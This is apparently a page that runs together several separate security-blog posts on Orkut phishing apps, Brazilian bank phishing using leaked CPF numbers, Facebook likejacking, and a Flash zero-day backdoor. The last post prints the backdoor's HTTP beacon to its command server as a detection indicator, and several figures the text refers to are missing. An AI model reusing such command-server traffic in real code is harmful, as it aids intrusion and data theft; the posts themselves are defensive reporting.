PhoenixDzine

Users of Orkut – the large social network in Brazil are again a target of attacks – this time the problem was malicious Apps, small applications that can be added in the user’s profile and executed directly in the browser. Some apps were able to do a redirection when loaded in the user’s profile, leading to phishing pages. Simply visiting an affected profile was enough to be redirected; no other user interaction was needed. During these attacks we collected and blocked more than 50 phishing domains used in this malicious scheme – it’s believed that approximately 150,000 profiles had their IDs stolen.

Currently more than 16,000 apps are available to be installed in a Orkut profile – and some bad guys were able to publish malicious apps in the Apps Directory, even while Google reports that all of them are checked before publishing. One of the main malicious apps used in these attacks was “ChateTVOnline”, an app that promises the ability to watch TV channels:

In the source code of the app it is possible to see the main cause of the problem: when installed in a profile it’s possible to run external code, not hosted on Orkut servers. It allows the developer to make redirections to phishing domains:

After being installed in the user’s profile the malicious app will run every time someone enters the profile and the redirection will occur. All the accounts stolen were used to spread the attack, adding automatic scraps, which are short messages, in some communities asking other users to install the malicious app or to visit the affected profile.

Around 50 phishing domains were used in this malicious scheme. In just one of them, goooble.com.br, a typosquatting of google.com.br we found more than 440 users ID stolen:

In a variant of the first attack we found other malicious scheme asking for money: it redirected the affected user to a page asking him to pay a ransom of R$ 20,00 (around 12 dollars) to deliver his profile:

We reported these malicious apps to Google and they removed them. All domains used in these attacks are blocked by Kaspersky Antivirus and our users are protected.

Brazilian internet users are being attacked this week with an interesting phishing scheme: the message is showing real personal data of the victim, in a clear attempt to trick users into installing a trojan banker on his machine.

The message is sent to the victim using the name of a big Brazilian bank and in the body it shows the complete name of the user and his CPF – the Natural Persons Register, the equivalent of a Social Security Number used by Brazilian government to identify each citizen:

The CPF is one of the most important documents for anyone living in Brazil. The number is unique and is a prerequisite for a series of tasks like opening bank accounts, to get or renew a driver’s license, buying or selling real estate, receiving loans, applying for jobs (especially public ones), getting a passport or credit cards. Using such data it is possible to for a cybercriminal to impersonate the victim and steal his identity in order to access resources or obtain credit and other benefits in that person’s name.

This is a case when a data leak incident meets phishers. This kind of accurate information can only be obtained in data leak incidents. Not surprisingly it’s common that the Brazilian media notices criminals selling CDs with the full data of Brazilian IRS system where you can find a lot of sensitive data, including the CPF numbers. In a simple search you can find people in Brazil selling CDs of possible IRS and CPF numbers costing only $ 190.00.

This is not the first time Brazilians have been a target of phishing using real data: last year customers of an important airline company were victims of a phishing attack using their real names and the number of their rewards program.

Kaspersky detects the malware involved in this attack as Trojan-Downloader.Win32.Delf.agkm.

When receiving e-mails, even e-mails showing your personal data, you can’t be too careful.

Another Facebook likejacking attempt is being spammed out to fool Facebook users with “5 things girls do before she meets her boyfriend”. Instead of presenting a video, the page redirects browsers to a “Like” button hosted on Facebook.

As illustrated above, tens of thousands of people have clicked on the link while they are logged into Facebook already. If you are one of the people who have already attempted to watch the video, please remove the “like” entry from your wall or newsfeed. Also, delete the liked page from your “Likes and Interests” section. If you are using Facebook, be wary of what you click on. While this one may not be as serious an issue as some of the other Facebook scams we have seen, you probably don’t want to provide this plugin developer with more demographic statistics of who falls for phony videos.

Even more interesting information falls out when you investigate a bit deeper. Attempting to access the “HTML source” results in an offer suggesting that you sell your fan pages to a suspicious email address, which is not recommended.

Yesterday, Adobe published an advisory about a critical vulnerability in their Flash Player that is already being actively exploited. The CVE number assigned to this bug is CVE-2010-3654. A fix is currently being prepared by Adobe. The exploit we are seeing right now has a payload which, while not being very sophisticated, holds several surprises.

When executed, the bot checks for command line options. The ‘-installkys’ option installs the bot onto the victim machine. Interestingly enough, if you use the ‘-removekys’ parameter the malware gets entirely removed from the system – a built in unistall. The malware then calls itself without any parameters and the malicious code is run. The screenshot below shows the code for parsing the command line parameters.

The binary drops a DLL, the actual malware, to the hard drive and scans the list of running processes for outlook.exe, iexplore.exe, and firefox.exe. If a matching process is found, the dropped DLL gets injected and executed as a new thread.

The injected code will send an HTTP request to news.mysundayparty.com every 5 minutes and download an encrypted configuration file. The DNS entry seems to be somewhat fluxy: it has a TTL of 1800 seconds, and the IP address it resolves to changes every now and then. A decrypted config file contains a list of commands to gather information about the infected host. This information is encrypted and sent back to the server. Here is a decoded config file:

Searching the web for strings from this file reveals an interesting connection with a piece of malware that was spreading at the beginning of this year. Similar to the current bot, this earlier virus exploits a zero-day vulnerability, collects information about the infected machine and sends it back to its master. A still earlier version is reported to exploit another Flash zero-day.

A nice thing is that each configuration download request contains all the necessary information to track down infected hosts in a network. Below is what the HTTP GET request for the config file looks like. The path contains one parameter assembled from the Windows host name and its IP address with the prefix ‘-nsunday‘ and is quite unique. Also note the Referer field, which is always set to http://www.yahoo.com/, and the characteristic Accept header. Constructing a reliable IDS signature should not be too hard.

 GET /asp/kys_allow_get.asp?name=getkys.kys&hostname=PC-192.168.0.1-nsunday HTTP/1.1 Referer: http://www.yahoo.com/ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,   application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Host: news.mysundayparty.com Cache-Control: no-cache 

Kaspersky detects both the installer and the DLL as Backdoor.Win32.Sykipot.an. The exploit is heuristically detected as Exploit.Script.Generic.